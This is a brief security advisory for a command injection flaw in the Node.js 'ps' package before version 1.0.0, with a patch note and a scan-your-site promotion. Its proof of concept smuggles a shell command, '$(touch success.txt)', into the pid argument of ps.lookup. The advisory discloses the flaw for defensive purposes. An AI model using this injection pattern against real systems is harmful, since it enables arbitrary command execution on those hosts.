| Package | Affected versions | Patched versions |
|---|---|---|
| ps | < 1.0.0 | 1.0.0 |
| ps | < 1.0.0 | 1.0.0 |
Versions of ps before 1.0.0 are vulnerable to command injection.
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
Update to version 1.0.0 or later.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free